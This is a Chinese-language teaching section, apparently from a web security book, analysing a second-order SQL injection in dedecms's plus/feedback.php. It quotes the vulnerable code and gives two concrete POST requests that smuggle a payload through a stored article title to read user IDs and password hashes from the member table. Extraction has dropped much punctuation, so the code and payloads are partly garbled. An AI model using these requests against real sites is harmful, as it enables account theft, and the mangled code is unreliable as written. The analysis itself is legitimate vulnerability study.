7.3 dedecms二次注入漏洞分析

顺便找一找还是能找到不少二次漏洞很经典的案例,这里我们还是以dedecms的feedback.php文件引用评论的SQL注入漏洞来做一个分析,该漏洞在2013年3月在乌云网被公布,漏洞编号WooYun-2013-18562,作者为safekey团队的yy520,公布初期还有一个60个注入字符的限制,在经过safekey团队的讨论后成功绕过了这个限制使得漏洞利用并不鸡肋。在漏洞公布之后,官方立即采取措施进行了漏洞修复,但非专业安全的人修复漏洞都有一个通病,不会做漏洞联想,别人指出哪有漏洞就修哪,跟这个漏洞同样利用方式的漏洞,在另外一个文件至今几年过去了还存在。

漏洞在/plus/feedback.php文件,代码如下:


// 保存评论内容

if
$comtype == 'comments'

{

    $arctitle = addslashes
$title ); // 保存评论的文章标题

    $typeid = intval
$typeid );

    $ischeck = intval
$ischeck );

    $feedbacktype = preg_replace
"#[^0-9a-z]#i" "" $feedbacktype );

    if
$msg =''

    {       $inquery = "INSERT INTO `#@__feedback`
`aid` `typeid` `username` `arctitle` `ip` `ischeck` `dtime` `mid` `bad` `good` `ftype` `face` `msg`            VALUES '$aid' '$typeid' '$username' '$arctitle' '$ip' '$ischeck' '$dtime' '{$cfg_ml->M_ID}' '0' '0' '$feedbacktype' '$face' '$msg' ); "            $rs = $dsql->ExecuteNoneQuery $inquery );            if (! $rs            {               ShowMsg ' 发表评论错误! ' '-1' );                //echo $dsql->GetError ();                exit ();

这段代码的功能是保存用户在文章评论页面提交的评论信息,其中:


$arctitle = addslashes $title );

获取被评论的文章标题,这里使用了addslashes()函数过滤,接着:


$inquery = "INSERT INTO `#@__feedback` `aid` `typeid` `username` `arctitle` `ip` `ischeck` `dtime` `mid` `bad` `good` `ftype` `face` `msg` VALUES '$aid' '$typeid' '$username' '$arctitle' '$ip' '$ischeck' '$dtime' '{$cfg_ml->M_ID}' '0' '0' '$feedbacktype' '$face' '$msg' ); " $rs = $dsql->ExecuteNoneQuery $inquery );

$rs = $dsql->ExecuteNoneQuery
$inquery );

将提交的$arctitle变量保存到数据库中,这个过程是没有问题的,我们接着看:


// 引用回复

elseif
$comtype == 'reply'

{

    $row = $dsql->GetOne
"SELECT * FROM `#@__feedback` WHERE id ='$fid'" );

    $arctitle = $row['arctitle']
// 取出之前保存的文章标题

    $aid =$row['aid']


    $msg = $quotemsg.$msg
//echo $msg."<br /><br />"

    $msg = HtmlReplace
$msg 2 );

    //
$arctitle 插入到数据库

    $inquery = "INSERT INTO `#@__feedback`
`aid` `typeid` `username` `arctitle` `ip` `ischeck` `dtime` `mid` `bad` `good` `ftype` `face` `msg`

           VALUES
'$aid' '$typeid' '$username' '$arctitle' '$ip' '$ischeck' '$dtime' '{$cfg_ml->M_ID}' '0' '0' '$feedbacktype' '$face' '$msg' "

    $dsql->ExecuteNoneQuery
$inquery );

}

这段代码的作用是引用之前的评论到新的评论中,其中:


$row = $dsql->GetOne "SELECT * FROM `#@__feedback` WHERE id ='$fid'" );

$arctitle = $row['arctitle']
// 取出之前保存的文章标题

取出之前提交的文章标题,赋值给$arctitle变量,再往下:


$inquery = "INSERT INTO `#@__feedback` `aid` `typeid` `username` `arc-title` `ip` `ischeck` `dtime` `mid` `bad` `good` `ftype` `face` `msg`

       VALUES
'$aid' '$typeid' '$username' '$arctitle' '$ip' '$ischeck' '$dtime' '{$cfg_ml->M_ID}' '0' '0' '$feedbacktype' '$face' '$msg' "

$dsql->ExecuteNoneQuery
$inquery );

可以看到$arctitle变量被写入到数据库,看到这里还记不记得,这个$arctitle是由用户提交的,第一次写入数据库的时候使用了addslashes()函数过滤,但是引用评论重新写入数据库的时候并没有过滤,文章标题的数据在整个流程的变化如图7-2所示。

图 7-2

用SQL来表示一下如下:

第一次插入的SQL为:


insert into xx arctitle values '11\'' );

保存到数据库的标题内容为11',然后这个数据被select查询出来拼接到第二次插入的SQL上,SQL语句如下:


insert into xx arctitle values '11'' );

可以看到引发了SQL注入。

在这个漏洞中,标题字段有60个字符的长度限制,不能一次性把完整的payload写入进去,所以我们需要两次提交payload,最终利用方式如下,第一次请求提交


/plus/feedback.php aid=52

POST内容:


action=send&comtype=comments&aid=52&isconfirm=yes&msg=xx&validate=BRUN&title=xx' ,( char @`'` )), /*

我们打印SQL语句出来看看,如图7-3所示。

图 7-3

第二次请求:


/plus/feedback.php aid=52

POST内容:


action=send&comtype=reply&fid=34&isconfirm=yes&validate=sill&msg=*/1 2 3 4 5 6 7 ,( select/**/concat userid 0x3a pwd /**/from/**/dede_member/**/limit/**/1 )) %23

打印SQL语句出来看看,如图7-4所示。

图 7-4

发送两次请求后访问:


/plus/feedback.php aid=52

可以看到管理员密码已经被读取出来,如图7-5所示。

图 7-5